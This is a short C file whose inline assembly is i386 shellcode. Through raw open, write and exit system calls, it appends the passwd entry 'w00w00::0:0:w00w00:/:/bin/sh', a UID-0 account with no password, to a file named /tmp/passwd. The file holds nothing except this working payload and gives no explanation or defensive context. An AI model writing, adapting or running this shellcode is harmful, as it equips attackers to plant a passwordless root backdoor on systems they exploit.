main()
{
   asm("
  
    jmp 43
    popl %esi
    xorl %eax,%eax
    movb %eax,11(%esi)
    movb %eax,41(%esi)
    pushl %eax
    movb $9,%al
    pushl %eax
    xorl %eax,%eax
    pushl %esi
    pushl %eax
    movb $0x5,%al
    int $0x80

    movl %eax,%ebx
    pushl $29
    leal 12(%esi),%eax
    pushl %eax
    pushl %ebx
    pushl %eax
    xorl %eax,%eax
    movb $0x4,%al
    int $0x80

    xorl %eax,%eax
    movb $0x1,%al
    int $0x80
  
  
  
  chaine:
      call   -48
      .ascii \"/tmp/passwd0\"
      .ascii \"w00w00::0:0:w00w00:/:/bin/sh\n0\"  # 29
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0x00
  ");
}